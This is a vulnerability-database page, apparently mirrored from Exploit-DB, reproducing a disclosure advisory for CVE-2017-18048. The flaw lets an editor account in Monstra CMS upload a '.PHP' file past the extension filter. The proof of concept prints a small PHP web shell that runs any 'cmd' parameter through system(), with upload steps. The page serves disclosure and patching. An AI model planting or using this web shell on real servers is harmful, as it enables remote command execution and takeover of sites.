Lucene search
K

Monstra CMS - Remote Code Execution

🗓️ 06 Dec 2017 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 248 Views

Remote code execution vulnerability in Monstra CMS, allowing arbitrary file upload and execution of shell command

Related
Code
ReporterTitlePublishedViews
Family
0day.today
MonstraCMS Authenticated Arbitrary File Upload Exploit
12 Jul 201800:00
zdt
0day.today
Monstra CMS 3.0.4 - Remote Code Execution (Authenticated) Exploit
4 Jun 202100:00
zdt
Circl
CVE-2017-18048
10 Jul 201819:43
circl
CNVD
Monstra CMS Arbitrary File Upload Vulnerability
23 Jan 201800:00
cnvd
CVE
CVE-2017-18048
23 Jan 201806:00
cve
Cvelist
CVE-2017-18048
23 Jan 201806:00
cvelist
NVD
CVE-2017-18048
23 Jan 201806:29
nvd
Packet Storm
Monstra CMS Authenticated Arbitrary File Upload
11 Jul 201800:00
packetstorm
Packet Storm
Monstra CMS 3.0.4 Remote Code Execution
4 Jun 202100:00
packetstorm
Prion
Command injection
23 Jan 201806:29
prion
Rows per page
## Vulnerabilities Summary
The following advisory describes a vulnerability found in Monstra CMS.

Monstra is “a modern and lightweight Content Management System. It is Easy to install, upgrade and use.”

The vulnerability found is a remote code execution vulnerability through an arbitrary file upload mechanism.

## Credit
An independent security researcher, Ishaq Mohammed, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

## Vendor response
We were not able to get the vendor to respond in any way, the software appears to have been left abandoned without support – though this is not an official status on their site (last official patch was released on 2012-11-29), the github appears a bit more active (last commit from 2 years ago).

Without any vendor response the researcher was kind enough to create a patch that addresses this bug, its available here: https://github.com/monstra-cms/monstra/issues/426

CVE: CVE-2017-18048

## Vulnerabilities details
An editor can upload files to the Monstra CMS and can access them by clicking on them from the administrator portal. The default setup of Monstra CMS allows uploading of files only with certain extensions, forbidding all types of executable files which are mentioned in monstra\plugins\box\filesmanager\filesmanager.admin.php. However by simply uploading a php file with “PHP” (all characters in uppercase) extension will bypass this mechanism and will allow an attacker to execute shell commands on the server.

## Proof of Concept

Steps to Reproduce:

Login with a valid credentials of an Editor
Select Files option from the Dropdown menu of Content
Upload a file with PHP (uppercase)extenstion contaiing the below code:

```
    <?php
        $cmd=$_GET['cmd'];
        system($cmd);
    ?>
```
Click on Upload

liOnce the file is uploaded Click on the uploaded file and add ?cmd= to the URL followed by a system command such as whoami,time,date etc.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation